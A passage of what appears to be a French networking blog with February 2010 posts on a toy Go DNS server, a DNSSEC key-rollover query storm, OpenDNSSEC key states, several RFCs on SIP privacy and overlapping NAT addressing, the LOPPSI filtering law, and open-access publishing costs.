N'y a t-il pas de cas où on risque de perdre son nom de domaine et donc les noms de machines qu'il contient ? Hélas si. Dabbous donne l'exemple d'une ressource qui passe de www.inria.fr à www.hébergeur.fr et qui change donc d'URL. Mais cela illustre parfaitement le point précédent. La permanence des identificateurs dépend de pratiques sociales : acheter un nom de domaine en propre (ne pas publier une ressource importante sous le nom de son hébergeur du moment) et le gérer avec soin. Bien sûr, rien n'est parfait en ce bas monde. Des lois ou des règles d'enregistrement de noms de domaine font qu'on peut se faire prendre légalement son nom de domaine sans indemnités (surtout si on est un particulier). La Fondation Wikimédia peut toujours disparaitre et avec elle wikipedia.org. Mais c'est le cas de toute œuvre humaine. Les registres privés et vendeurs de vent qui proposent leurs identificateurs à eux ont exactement le même problème.

Deux précisions pour finir : j'ai parlé d'URL et pas d'URI, catégorie plus générale, car le point important de cet article était les noms de machines et les URI n'en ont pas forcément. On lit parfois que des URI non-URL seraient plus stables grâce à cela mais, comme je l'ai montré, c'est, au mieux, une simplification exagérée, au pire une erreur.

Et je n'ai pas développé le cas des adresses IP, où la situation est bien plus complexe que dans les vieux livres qui disaient que l'adresse « identifie un point d'attachement au réseau ». Avec l'anycast, une même adresse IP peut représenter des dizaines de machines sur plusieurs continents, et avec les adresses PI (certes difficiles à obtenir), les adresses peuvent ne pas être dépendantes du fournisseur d'accès.


L'article seul

GRONG, un serveur de noms écrit en Go

Première rédaction de cet article le 11 février 2010
Dernière mise à jour le 15 février 2010


J'ai déjà parlé ici de mes débuts avec le langage de programmation Go. Ce langage, comme C ou C++ est adapté à des programmes système ou réseaux. Je viens donc de commencer un (très simple) serveur DNS en Go.

Il se nomme GRONG pour « Gross and ROugh Nameserver written in Go » (et n'a rien à voir avec la ville du même nom). Il est hébergé sur github. Ne comptez pas utiliser GRONG en production à la place de BIND ou de nsd ! Il est plus lent mais, surtout, il n'a aucune protection contre les paquets DNS erronés. Si un méchant génère des paquets anormaux avec Scapy et les envoie à GRONG, celui-ci plante complètement.

GRONG a plutôt pour but d'explorer ce qu'on peut faire avec Go. J'ai particulièrement apprécié les goroutines qui permettent d'exprimer très facilement le parallélisme, ce qui est utile pour un serveur réseau, qui doit pouvoir répondre à une requête alors que la précédente n'est pas terminée. Comme mon but était d'apprendre, j'ai tout refait moi-même et pas utilisé les paquetages DNS du module "net".

GRONG est uniquement un serveur DNS faisant autorité, il ne gère pas la récursion. Il est séparé en deux parties, un frontal qui analyse les requêtes entrantes et génère des requêtes sortantes correctes. Et un dorsal qui produit la réponse à partir de la requête. Plusieurs dorsaux différents sont possibles comme un serveur AS112 ou bien un serveur qui renvoie au client l'adresse IP du résolveur.

Aujourd'hui, les performances sont convenables mais on ne bat pas BIND, encore moins nsd. Par exemple, mesurées avec queryperf, en local, sur une machine de bureau ordinaire :

% queryperf  -s ::1 -p 8053 -d 10.in-addr.arpa.queryperf

DNS Query Performance Testing Tool
Version: $Id: queryperf.c,v 1.12 2007/09/05 07:36:04 marka Exp $

[Status] Processing input data
[Status] Sending queries (beginning with ::1)
[Status] Testing complete

Statistics:

  Parse input file:     once
  Ended due to:         reaching end of file

  Queries sent:         100000 queries
  Queries completed:    100000 queries
  Queries lost:         0 queries
  Queries delayed(?):   0 queries

  RTT max:              0.129288 sec
  RTT min:              0.000873 sec
  RTT average:          0.019942 sec
  RTT std deviation:    0.013558 sec
  RTT out of range:     0 queries

  Percentage completed: 100.00%
  Percentage lost:        0.00%

  Started at:           Mon Feb 15 21:53:29 2010
  Finished at:          Mon Feb 15 21:55:09 2010
  Ran for:              99.875524 seconds

  Queries per second:   1001.246311 qps

Mais c'est à améliorer.


L'article seul

Un intéressant problème de DoS spontané avec DNSSEC

Première rédaction de cet article le 11 février 2010


Le 16 décembre 2009, le RIPE-NCC a procédé au remplacement de ses clés DNSSEC. Ce changement a eu des conséquences ennuyeuses comme d'invalider DNSSEC dans Fedora mais aussi de provoquer une mini-DoS sur les serveurs secondaires des domaines du RIPE-NCC.

Le RIPE-NCC étant un RIR, les domaines les plus importants qu'il gère sont les domaines de résolution inverse (d'adresse IP en nom de domaine). Ces domaines sont tous signés avec DNSSEC, pour permettre l'authentification de l'origine de ces données. Les clés de signature (KSK pour Key Signing Key sont remplacées régulièrement, et très fréquemment dans le cas du RIPE-NCC. Ce dernier remplacement, le 16 décembre, a entrainé un brusque bond des requêtes sur les serveurs de l'APNIC, ce qui a donné l'alarme.

Quatre chercheurs, George Michaelson, Patrik Wallström, Roy Arends et Geoff Huston ont enquêté sur le problème dans leur article « Roll Over and Die? ». Excellent article, très touffu, plein de détails techniques et de beaux graphiques. Les auteurs ont établi que le problème venait de certains résolveurs, notamment BIND, s'ils avaient en local une clé (une trust anchor) qui avait été retirée. Lorsque la clé (DNSKEY) récupérée dans le DNS est invalide, ces résolveurs pensent à un empoisonnement de cache et réessayent à toute vitesse d'obtenir une bonne clé. Quête vaine lorsque la trust anchor locale est invalide, et source d'innombrables paquets inutiles...

L'ISC s'est engagée à modifier BIND mais pas immédiatement. La correction a été annoncée le 2 mars.

Moralité : en matière de sécurité, il n'y a pas de solution parfaite, uniquement des compromis. En voulant se protéger contre un danger, on tombe souvent sur un autre.


L'article seul

OpenDNSSEC et les états des clés

Première rédaction de cet article le 10 février 2010


Une des plaies de DNSSEC est la gestion des clés. Cette gestion comprend plusieurs aspects, garder les clés disponibles (mais aussi empêcher les méchants de mettre la main dessus) et assurer leur remplacement régulier (pour faire face à certaines attaques par cryptanalyse, et pour s'assurer que les procédures fonctionnent), ainsi que le remplacement d'urgence en cas de problème. Un tel travail peut être fait à la main mais est très pénible donc le logiciel libre OpenDNSSEC a été développé pour automatiser une partie de ces tâches.

J'ai déjà parlé d'OpenDNSSEC dans un article « OpenDNSSEC, ou comment faciliter l'utilisation de DNSSEC ». Je me concentre dans ce nouvel article sur les états que peuvent prendre les clés dans OpenDNSSEC.

La clé passe en effet par plusieurs états au cours de sa vie. Ces différents états sont nécessaires car on ne peut pas publier une clé et espérer qu'elle soit instantanément utilisable partout, en raison des caches des résolveurs qui peuvent garder, par exemple, des « vieilles » signatures. Avec DNSSEC, il faut penser en quatre dimensions... Les termes utilisés par OpenDNSSEC viennent du RFC 7583 (section 3.1). Ce sont :

  • Generated : la clé a été créée (OpenDNSSEC permet de créer des clés à l'avance, par exemple à des fins de sauvegarde, avec ods-ksmutil key generate --policy test --interval 1Y, où 1Y veut dire de générer des clés pour l'année qui vient),
  • Published : la clé est publiée dans le DNS, sous la forme d'un enregistrement DNSKEY mais elle n'a pas encore forcément atteint tous les résolveurs (car ils peuvent avoir une vieille version de l'ensemble des DNSKEYs dans leur cache),
  • Ready : la clé est publiée et a atteint tous les résolveurs,
  • Active : la clé est utilisée pour signer,
  • Retired : la clé n'est plus utilisée pour signer mais est encore publiée car des vieilles signatures faites avec cette clé sont peut-être encore dans des caches,
  • Dead : la clé est encore publiée mais elle ne devrait plus servir à rien, toutes les signatures ont quitté les caches,
  • Removed : la clé est complètement supprimée.
  • Revoked : non décrit dans draft-morris-dnsop-dnssec-key-timing, il désigne une clé qui a été annulée « à la main ».

On le voit, le principal trajet suivi par les clés est PUBLISHED -> READY -> ACTIVE -> RETIRED mais il existe des tas d'autres possibilités. Par exemple, si on configure OpenDNSSEC pour exiger la sauvegarde (<RequireBackup/> dans conf.xml), les clés commencent toutes leur vie dans l'état GENERATED et pas PUBLISHED.

L'outil ods-ksmutil permet de voir l'état des clés (pour tous les exemples ici, la politique de signature, dans kasp.xml, a utilisé des durées de vie très courtes, pour faciliter les tests, par exemple <Lifetime>P1D</Lifetime> soit une journée seulement pour la ZSK) :

% sudo ods-ksmutil key list                                          
SQLite database set to: /var/opendnssec/kasp.db
Keys:
Zone:                           Keytype:      State:    Date of next transition:
...
bortzmeyer.fr                   ZSK           active    2010-02-10 16:09:10       
bortzmeyer.fr                   ZSK           ready     next rollover             
...

Ici, deux ZSK sont publiées, une seule servant à signer. Voyons leurs identificateurs :

% sudo ods-ksmutil key list --verbose
...
Zone:            State:    Date of next transition:  CKA_ID:                             Keytag:
bortzmeyer.fr    active    2010-02-10 16:09:10       1d117886e98f80b3dd8516d9a975c877    24243
bortzmeyer.fr    ready     next rollover             980d24646af64877ac20aa051b4d29cb    48961

24243 est actuellement active. Cela peut se vérifier dans le fichier de zone qu'a signé OpenDNSSEC :

bortzmeyer.fr.  86400   IN      RRSIG   TXT 8 2 86400 \
            20100210202914 20100210082904 24243 ... ;{id = 24243}
; Pas de RRSIG avec 48961

mais les deux clés sont publiées :

bortzmeyer.fr.	600	IN	DNSKEY	256 3 8 Aw...R ;{id = 48961 (zsk), size = 1024b}
bortzmeyer.fr.	600	IN	DNSKEY	256 3 8 Aw...F ;{id = 24243 (zsk), size = 1024b}

Et l'évolution d'une clé ? Si on fait des ods-ksmutil key list à intervalles réguliers, on voit :

active    2010-02-08 16:08:57       0be66578e0040178110646f3f62a8eef  41398
ready     next rollover             759d2847a33e80326007a4a2587b7a98  53104

puis :

active    2010-02-08 16:08:57       0be66578e0040178110646f3f62a8eef  41398
ready     next rollover             759d2847a33e80326007a4a2587b7a98  53104
publish   2010-02-08 15:34:03       1d117886e98f80b3dd8516d9a975c877  24243

On a vu l'apparition d'une nouvelle clé, la 24243, qui a été générée automatiquement par OpenDNSSEC et publiée. On voit ensuite :

retire    2010-02-09 04:24:04       0be66578e0040178110646f3f62a8eef  41398
active    2010-02-09 16:09:04       759d2847a33e80326007a4a2587b7a98  53104
ready     next rollover             1d117886e98f80b3dd8516d9a975c877  24243

41398 ne sert plus à signer mais est encore publiée. 53104 la remplace comme clé principale. 24243 est publiée depuis assez longtemps pour être utilisable. Enfin, on n'a plus que :

active    2010-02-09 16:09:04       759d2847a33e80326007a4a2587b7a98  53104
ready     next rollover             1d117886e98f80b3dd8516d9a975c877  24243

41398 est passée en état Dead. ods-ksmutil ne l'affiche plus (pour éviter d'être noyé sous les nombreuses clés mortes). La version 1.0.0 de OpenDNSSEC ne fournit pas d'option pour voir ces clés (même chose pour celles en état Generated).

Si on veut voir quand même cette clé, on peut attaquer directement le HSM (ici, softHSM) :

% sudo sqlite3 /var/opendnssec/kasp.db
sqlite> SELECT id, state, publish, active, dead, keytype, algorithm, location \
              FROM Keydata_view \
              WHERE location = '0be66578e0040178110646f3f62a8eef' OR ...;
85|6|2010-02-06 15:08:49|2010-02-07 16:08:57|2010-02-09 05:09:06|256|8|0be66578e0040178110646f3f62a8eef
86|6|2010-02-07 15:08:56|2010-02-08 16:09:04|2010-02-10 05:09:13|256|8|759d2847a33e80326007a4a2587b7a98
87|4|2010-02-08 15:09:03|2010-02-09 16:09:10||256|8|1d117886e98f80b3dd8516d9a975c877

(La commande a été tapée une journée plus tard donc, entre temps, 759d2847a33e80326007a4a2587b7a98 (53104) a également été supprimée.)

Depuis la première rédaction de cet article, les états de OpenDNSSEC ont été mieux documentés.


L'article seul

Nouvel éditeur des RFC pour la voie indépendante

Première rédaction de cet article le 10 février 2010


La désignation, ce 10 février, d'un éditeur des RFC de la « voie indépendante » (les RFC qui ne sont pas passés par l'IETF) met fin à une longue période d'incertitude et va permettre de reprendre la publication de RFC de cette voie.

Nevil Brownlee sera donc le premier ISE (Independent Series Editor, d'abord nommé Independent Submission Editor) officiel des RFC. Cette fonction avait été créée par le RFC 5620, la voie indépendante datant, elle du RFC 4846, mais était restée sans responsable officiel depuis plus d'un an, bloquant de nombreux RFC qui étaient prêts à être publiés. Quelques semaines avant la nomination de Nevil Brownlee, Bob Braden avait reçu un financement de l'ISOC pour assurer cette tâche par interim, ce qui avait permis à plusieurs RFC comme le RFC 5683 (quatre mois d'attente), le RFC 5569 (neuf mois d'attente) ou le RFC 5379 (treize mois d'attente) de sortir enfin.

Maintenant, normalement, tout est en place et un rythme normal de publication a repris, avec les RFC 5320, RFC 5385, RFC 5564, RFC 5781, etc.


L'article seul

Début des discussions sur LOPPSI à l'Assemblée

Première rédaction de cet article le 9 février 2010


Le 9 février était un triste jour pour l'Internet, c'était la présentation du projet de loi LOPPSI à l'Assemblée. C'est un texte de loi très vaste qui recouvre beaucoup de choses, d'ailleurs, pas seulement l'Internet.

LOPPSI impose le principe d'un filtrage obligatoire de l'Internet (article 4), comme à Dubaï, en Tunisie ou en Chine. Vous trouvez que la référence à la dictature chinoise est exagérée ? Mais ce sont les députés de la majorité qui citent la Chine en modèle. Bien sûr, on nous annonce que cela sera seulement pour lutter contre la pédophilie. Mais l'expérience prouve amplement que ce ne sera qu'un début et, qu'une fois la lourde infrastructure de filtrage en place, elle sera mise au service de bien d'autres causes, comme la protection de l'industrie du divertissement en filtrant les sites comme The Pirate Bay. (Cette extension de la censure a déjà commencé avec l'amendement Canal+.)

L'idée de filtrage obligatoire est ancienne (voire très ancienne !). La loi ne donne pas de détails techniques, qui sont repoussés à un futur décret. Peut-être y aura t-il un serveur BGP place Beauveau, annonçant les adresses IP à null router, et avec qui les opérateurs devront peerer. Ou bien peut-être LOPPSI imposera t-elle l'empoisonnement des résolveurs DNS des FAI (avec des outils comme ceux de Nominum. PC Inpact avait fait une bonne liste des études techniques existantes. (Voir aussi la description de la technique néo-zélandaise.) Dans tous les cas, cela ajoutera un composant au réseau, et donc une fragilité supplémentaire. On peut donc remercier le gouvernement Fillon pour avoir contribué à dégrader le fonctionnement du réseau.

Que doit faire le citoyen inquiet, à juste titre, de cette avancée de la censure ? D'abord, écrire à son député. Ensuite, pour les prochaines élections, les régionales, le 14 et 21 mars, penser aux partis qui s'opposent clairement à LOPPSI (n'hésitez pas à m'en signaler d'autres) :

LOPPSI a été adoptée par l'Assemblée le 16 février. Il reste encore plusieurs étapes législatives.

Une bonne synthèse de la loi se trouve dans un article de PCinpact et un très bon résumé de ses conséquences néfastes dans l'article « Ce que LOPPSI veut dire ». Il y a plusieurs arguments originaux (par exemple sur le fait que la liste des sites censurés est secrète) dans « LOPPSI 2 et autres lois en I... ». On peut lire le projet entier sur le site de l'Assemblée, ainsi que la liste des amendements et l'état du projet. Numerama a un dossier sur LOPPSI avec plein d'informations.


L'article seul

RFC 5379: Guidelines for Using the Privacy Mechanism for SIP

Date de publication du RFC : Février 2010
Auteur(s) du RFC : M. Munakata, S. Schubert, T. Ohba (NTT)
Pour information
Première rédaction de cet article le 9 février 2010


Le protocole SIP, surtout connu pour son rôle dans la téléphonie sur IP, dispose de plusieurs fonctions permettant de protéger la vie privée de ses utilisateurs. Spécifiées dans plusieurs RFC, ces fonctions ne sont pas forcément évidentes à utiliser, d'où ce RFC qui tente de guider les développeurs vers les bonnes pratiques.

SIP est normalisé dans le RFC 3261 et est certainement le premier protocole de téléphonie sur IP, d'autant plus que certains de ses concurrents, bâtis sur des protocoles fermés, ne respectent pas forcément la vie privée de leurs utilisateurs. Et SIP, qu'en fait-il ? Certaines de ces fonctions peuvent être excessivement intrusives, par exemple le fait que l'adresse de l'appelant soit fournie, et il existe donc des moyens de les débrayer.

Le cadre général est donné dans le RFC 3323. Il introduit par exemple l'idée de mettre sip:anonymous@anonymous.invalid comme adresse de l'appelant, même le simple nom de domaine pouvant révéler des informations (section 4.1.1.3 du RFC 3323 et section 5.1.4 de notre RFC). Les RFC 3325 et RFC 4244 fournissent des méthodes supplémentaires.

Qu'apporte notre RFC 5379 ? Il ne change aucun protocole, il explique simplement comment mieux utiliser les extensions de maintien de la vie privée décrites dans les RFC précédents. C'est donc un bon point de départ si on écrit un logiciel SIP soucieux de vie privée. Ainsi, le tableau de la section 4.1 résume de manière simple les actions qui doivent être menées (ou pas) par les différents agents, selon le niveau de protection demandé par l'utilisateur (ces niveaux avaient été définis dans la section 4.2 du RFC 3323). Par exemple, les en-têtes Via: (section 8.1.1.7 du RFC 3261) indiquent l'endroit où envoyer des réponses, donc où se trouve l'appelant. Au niveau header de protection de la vie privée, ils doivent donc être « anonymisés », c'est-à-dire remplacés par un en-tête Via: d'un relais (section 5.1 du RFC 3323 et 5.1.15 de notre RFC).

De même, la section 4.3 rappelle nettement le rôle de l'option critical dans un en-tête Privacy:. Elle indique que l'appelant préfère que l'appel avorte plutôt que de transmettre des informations privées (certains appelés refusent les appels où certaines informations manquent et critical sert à indiquer s'il faut accepter leurs exigences ou pas). Le RFC 3323 était nettement moins directif sur cette option.

La section 5 résume le traitement de chaque en-tête sensible, lorsque l'utilisateur demande le service de protection de la vie privée. Ainsi, Contact: (section 5.1.3) est un cas délicat car il doit être un URI qui pointe réellement sur quelque chose (il sert à contacter le logiciel de l'utilisateur). S'il est remplacé, il doit donc l'être par un URI qui marche, par exemple un système de relais de courte durée de vie.

Certains en-têtes, moins utiles au fonctionnement de SIP, sont traités plus violemment. C'est ainsi que la section 5.1.13 recommande d'éliminer l'en-tête Subject: car elle peut être trop révélatrice. Même chose pour User-Agent: (section 5.1.14) qui indique le type de logiciel utilisé et qui peut donc révéler des choses sur son propriétaire.


Téléchargez le RFC 5379


L'article seul

Rapport Tessier sur la numérisation du patrimoine écrit

Première rédaction de cet article le 5 février 2010


Le 12 janvier, Marc Tessier a remis au Ministère de la Culture son très intéressant rapport sur « La numérisation du patrimoine écrit », rapport qui s'inscrit dans le vieil affrontement entre les propositions de Google de numériser le fonds des bibliothèques (tout en mettant la main dessus) et les projets nationaux comme Gallica, riches en proclamations martiales et pauvres en contenu accessible.

Le titulaire actuel du poste de ministre, qui avait signé la lettre de mission, est un abyssal zéro, qui s'est récemment fait connaître par des déclarations « à la chinoise » sur les dangers des blogs (tous anonymes, forcément anonymes) pour l'harmonie de la société. Mais cela n'enlève rien à l'intérêt du document.

Le rapport ménage la chèvre et le chou, comme souvent dans les rapports officiels mais c'est déjà un progrès par rapport à un certain discours « astérixien » où les français ont toujours raison et où tout le mal vient des États-Unis, patrie du profit (comme si les éditeurs français n'étaient pas également des capitalistes ne pensant qu'au profit). L'ancien directeur de la BNF, Jeanneney, s'était fait une spécialité de ce discours.

Ainsi, l'offre de Google de numérisation des bibliothèques n'est plus, dans ce rapport, diabolisée bêtement, mais analysée sérieusement, avec ses forces (les moyens matériels de Google) et ses faiblesses (un certain désintérêt pour les métadonnées, puisque Google compte surtout sur son moteur de recherche plein texte). Comme pour tout partenariat avec une entreprise capitaliste, le rapport appelle à la prudence lors des négociations et demande que celles-ci se fassent sur une base d'égalité entre partenaires. Aujourd'hui, Google approche souvent les bibliothèques comme un donateur approche des SDF, alors que Marc Tessier insiste sur le fait que chacun des partenaires a une compétence spécifique à apporter. Il demande également que les fichiers résultant de la numérisation soient distribuables par d'autres que Google, et critique les accords secrets imposés par Google.

À noter qu'une très bonne annexe concrète du rapport, l'annexe 3, faite par Alban Cerisier, rappelle les points techniques essentiels liés à la numérisation et aide à comprendre certaines questions qui pourraient paraître byzantines.

Surtout, ce qui est la première fois dans un rapport officiel, la supériorité de Google sur des offres franco-françaises comme Gallica n'est plus simplement présentée comme injuste mais aussi analysée comme le résultat des faiblesses de l'offre françaises. Les grands projets pilotés de manière ultra-bureaucratique, avec profusion d'acteurs et de réunions, puis délégation du vrai travail à une SSII n'ont pas toujours engendré une offre de qualité... Le rapport cite Gallica qui n'a toujours pas d'URL stables et référençables.

C'est ainsi que le rapport note à juste titre que Europeana n'est qu'une page d'accueil, une étiquette qui s'applique à plusieurs projets existants mais qui n'a aucun contenu propre. Bref, les européens ont du pain sur la planche.


L'article seul

RFC 5684: Unintended Consequence of NAT deployments with Overlapping Address Space

Date de publication du RFC : Février 2010
Auteur(s) du RFC : P. Srisuresh (Kazeon Systems), B. Ford (MPT-SWS)
Pour information
Première rédaction de cet article le 4 février 2010


Le NAT est depuis longtemps une des plaies de l'Internet. Justifié au début par le manque d'adresses IPv4, il est désormais de plus en plus utilisé en raison de l'épuisement des adresses v4, mais aussi sur des sites qui croient qu'il leur simplifie la vie, voire qu'il améliore leur sécurité. Une des conséquences du NAT tel qu'il est déployé pour IPv4 est que les adresses privées sont prises dans une réserve d'assez petite taille et qu'on voit désormais des cas de recouvrement d'adresses IP entre deux réseaux utilisant cette technique. Ce RFC décrit deux cas de cette catégorie.

L'utilisation « canonique » du NAT est avec un réseau local qui utilise des adresses privées du RFC 1918 et une seule adresse IP publique, attribuée par le FAI et affectée au routeur qui connecte le réseau local à l'Internet. Dans cette configuration (section 3.2.1), les limites et les problèmes du NAT sont bien connus. (Voir les RFC 2993, RFC 3424, RFC 5218, etc.) Mais, en raison du succès du NAT, on voit de plus en plus apparaitre des configurations moins classiques, qui apportent de nouveaux problèmes.

L'Internet avait été prévu pour un espace d'adressage unique (section 1 du RFC), où chaque machine avait une adresse unique au monde. Le déploiement souvent irrefléchi du NAT a mené à une séparation Identificateur/Localisateur de fait (et mal faite) : désormais, il existe plusieurs machines sur l'Internet qui ont l'adresse 192.168.1.1.

Parmi les causes de ce déploiement du NAT :

  • Le non-déploiement d'IPv6 qui, aujourd'hui, coûte très cher à la société,
  • Une impression (non fondée) comme quoi l'utilisation d'adresses privées améliorerait la sécurité du réseau et la protection de la vie privée des utilisateurs,
  • La facilité d'usage du NAT qui peut être déployé unilatéralement par un site. Pour les gens qui ne croient pas à l'action collective (qui est nécessaire pour IPv6), le NAT est perçu comme plus facile. Il n'y a pas besoin d'administrateur système, rien à configurer, on branche la box et c'est parti.

Les problèmes que pose le NAT sont décrits dans le RFC 3027. Notre RFC 5684, lui, détaille deux cas problématiques, liés au déploiement de NAT emboîtés (passage par au moins deux routeurs NAT). Il s'appuie sur la terminologie du RFC 2663.

Le réseau théorique utilisé pour notre RFC est dessiné dans la figure 1, section 3.Il représente ces deux cas de NAT emboîtés. La facilité apparente de déploiement du NAT a une conséquence néfaste : comme il n'y a pas besoin de se concerter avec d'autres personnes, on voit de plus en plus des NAT emboîtés apparaître sans que cela résulte d'un choix délibéré, mais simplement de l'addition de décisions individuelles.

Si vous lisez le RFC, gardez bien sous la main tout le temps cette figure 1, elle vous servira.


                               Public Internet
                           (Public IP addresses)
       ----+---------------+---------------+---------------+----
           |               |               |               |
           |               |               |               |
       192.0.2.1      192.0.2.64     192.0.2.128     192.0.2.254
       +-------+        Host A          Host B      +-------------+
       | NAT-1 |        (Alice)         (Jim)       |    NAT-2    |
       | (Bob) |                                    | (CheapoISP) |
       +-------+                                    +-------------+
       10.1.1.1                                        10.1.1.1
           |                                               |
           |                                               |
       Private Network 1                      Private Network 2
     (private IP addresses)                 (private IP addresses)
       ----+--------+----      ----+-----------------------+----
           |        |              |           |           |
           |        |              |           |           |
       10.1.1.10 10.1.1.11     10.1.1.10   10.1.1.11   10.1.1.12
        Host C    Host D       +-------+    Host E     +-------+
                               | NAT-3 |    (Mary)     | NAT-4 |
                               | (Ann) |               | (Lex) |
                               +-------+               +-------+
                               10.1.1.1                10.1.1.1
                                   |                       |
                                   |                       |
               Private Network 3   |         Private Network 4
             (private IP addresses)|       (private IP addresses)
               ----+-----------+---+       ----+-----------+----
                   |           |               |           |
                   |           |               |           |
               10.1.1.10   10.1.1.11       10.1.1.10   10.1.1.11
                Host F      Host G          Host H      Host I
         
   Figure 1. Multi-level NAT topology with Overlapping Address Space

Les ennuis commencent avec le pair à pair (section 3.1.2). Comme plusieurs machines ont la même « identité », la même adresse IP, les communications pair-à-pair sont difficiles. D'abord, pour se trouver, les machines vont avoir besoin d'un serveur extérieur, qui va organiser les rendez-vous. Ensuite, même si les machines apprennent l'adresse IP d'une autre via ce serveur, elles ne pourront pas forcément la contacter, en raison de l'absence d'adresse unique. Par exemple, une machine pourra contacter, à la place du pair convoité, une autre machine de son réseau local, qui aura la même adresse IP que le pair qu'on veut joindre.

Ann et Lex ont même un problème supplémentaire, qui fait l'objet de la section 3.2.2 : il y a duplication des adresses IP. Plusieurs machines ont la même adresse, car l'allocation n'est pas coordonnée et l'espace du RFC 1918 étant très petit, les collisions sont inévitables. Si les routeurs d'Ann et de Lex tentent d'utiliser le classique ARP sur toutes leurs interfaces, ils peuvent obtenir des réponses différentes selon l'interface. Une telle configuration, qui marchera a priori (« Je peux voir YouTube », en raison du NAT) produira des phénomènes bizarres et difficilement explicables à première vue.

Le fait qu'il y aie plusieurs niveaux de NAT dans ces cas cause également d'autres surprises (section 3.2.3), comme le fait que les machines aux adresses privées peuvent communiquer avec l'Internet mais pas entre elles, même lorsqu'elles sont clientes du même FAI. Parfois, une communication est possible via le routeur NAT, si celui-ci permet les connexions « en épingle à cheveux » (où le paquet va au routeur de sortie puis tourne en épingle à cheveux pour revenir vers le réseau privé). Les RFC 4787 et RFC 5382 demandent qu'un tel routage soit possible.

Mais, même lorsque « ça marche », la configuration reste bancale. Ainsi, on ne peut plus utiliser l'adresse IP d'une machine, normalement unique, comme identité (section 3.2.4). Cela fait que les paquets peuvent être transmis à la mauvaise machine. Le RFC donne l'exemple d'un résolveur DNS. S'il utilise des adresses privées et qu'un des réseaux locaux connectés utilise des adresses de la même plage, les machines de ce réseau ne pourront pas joindre leur résolveur. Le RFC recommande donc que les serveurs vitaux, comme le résolveur DNS, reçoivent toujours des adresses globales.

Un autre cas où des recouvrements des plages d'adresses IP peut se produire est celui des VPN, dans la section 4. Quelle que soit la technologie utilisée pour les réaliser (IPsec, L2TP, etc), le VPN donne accès à un réseau dont les adresses sont souvent privées. Si, sur son réseau d'attachement physique, le client VPN utilise également des adresses privées, le risque de collision est important. Un exemple que cite le RFC en section 4.2.1 est celui où le serveur DHCP du réseau local de la machine cliente a la même adresse (privée...) qu'une machine du réseau distant. Au moment de renouveler le bail DHCP, les paquets iront sur le site distant et pas sur le réseau local... Le RFC recommande donc que les paquets à destination des adresses IP du serveur DHCP et du premier routeur ne soient jamais envoyées à travers le VPN, même dans le cas où celui-ci est configuré pour faire passer la totalité du trafic, ce qu'on nomme le non-split VPN, et qui est souvent préféré pour des raisons de sécurité. Le RFC conseille aussi de garder la possibilité du split VPN (où seul les paquets à destination du réseau de l'entreprise sont routés via le VPN), qui limite les risques de collision.

La section 5 reprend et résume les recommandations de notre RFC 5684. Elles viennent en sus de celles des RFC 4787, RFC 5382 et RFC 5508. Si elles sont suivies, les conséquences de l'adressage privé seront minimisées.

Si elles ne le sont pas, plusieurs accidents auront lieu, parfois avec des conséquences néfastes pour la sécurité (section 7), comme l'envoi de paquets à une machine autre que celle à qui ils étaient normalement destinés. Le RFC conseille de toute façon d'avoir également une authentification forte et de ne pas se fier uniquement à l'adresse IP source.

Ah, un dernier conseil, personnel : pour limiter le risque de collisions lorsque vous utilisez des adresses RFC 1918, n'utilisez pas le début des plages. Pour vous éloigner des autres, numérotez avec un numéro « haut », choisi au hasard, par exemple avec 10.198.200.0/22 ou 10.243.24.0/22 plutôt qu'avec le banal 10.1.0.0/24 que tout le monde utilise...


Téléchargez le RFC 5684


L'article seul

Coût de l'Open Access en sciences

Première rédaction de cet article le 3 février 2010


Dans le numéro de février 2010 des Communications of the ACM, un article de Michel Beaudoin-Lafon, « Viewpoint: Open Access to scientific Publications », discute du mouvement d'un grand nombre de publications scientifiques vers le modèle de l'OpenAccess et formule plusieurs critiques contre certains aspects de ce modèle. La principale critique est basée sur une curieuse estimation des coûts de ce modèle.

Traditionnellement, la publication d'articles scientifiques se fait dans des revues contrôlées par des éditeurs privés, dont le mastodonte Elsevier, qui est à la publication scientifique ce que Microsoft est au logiciel. Ces revues ne paient pas les auteurs, ni les relecteurs, les personnes qui relisent les articles. Par contre, les universités et centres de recherche paient l'abonnement à ces revues alors qu'elles ont fourni l'essentiel du contenu gratuitement. Comme le rappelle Beaudoin-Lafon, ce n'est pas une pure question financière, ce modèle a un autre problème, c'est la privation de droits qui fait qu'un scientifique ne peut pas faire circuler librement un article, même lorsqu'il en est l'auteur.

Ce modèle moyenâgeux s'est maintenu par conservatisme, par idéologie (permettre la publication directe par les scientifiques fait peur à certains habitués du contrôle) et parce que les institutions qui évaluent les scientifiques, par exemple pour leur avancement, ne prennent souvent en compte que les publications dudit scientifique dans ce genre de revues.

Néanmoins, le monde change, l'Internet supprime les obstacles matériels à la diffusion directe des résultats scientifiques, et de nombreux chercheurs se sont engagés dans la lutte contre cette oligarchie d'éditeurs, par exemple sous la bannière de l'OpenAccess.

Beaudoin-Lafon appelle à la prudence vis-à-vis de ce mouvement, notamment en invoquant un motif de coût. Publier n'est pas gratuit et des éditeurs OpenAccess comme PLOS font payer les auteurs pour cela, des sommes que je trouve astronomiques, de 1 000 à 2 000 $ US. Beaudoin-Lafon pointe à juste titre les risques associés à un tel modèle où l'auteur doit être riche pour publier. Mais il ne remet pas en question l'évaluation des coûts par exemple en citant sans critique le chiffre de plusieurs millions de dollards dépensés par l'ACM pour sa propre bibliothèque numérique.

Il y a là un curieux « point aveugle ». Voyons d'abord quels sont les coûts de la publication :

  • Il y a les coûts matériels (pour une distribution numérique, ils sont bien plus faibles que pour le papier mais il y a quand même le prix des serveurs, l'accès Internet, etc).
  • Il y a le coût du travail humain. Comme les auteurs et les relecteurs ne sont pas payés, c'est essentiellement un coût de certains travaux administratifs (suivre le circuit de relecture des articles, par exemple) et de l'informatique (comme le développement d'un logiciel spécifique).

Aujourd'hui, où un particulier comme moi peut financer l'hébergement de son blog sur son seul salaire et le servir en n'utilisant quasiment que des logiciels libres, déjà développés et mis au point, ces coûts sont nettement plus bas qu'autrefois.

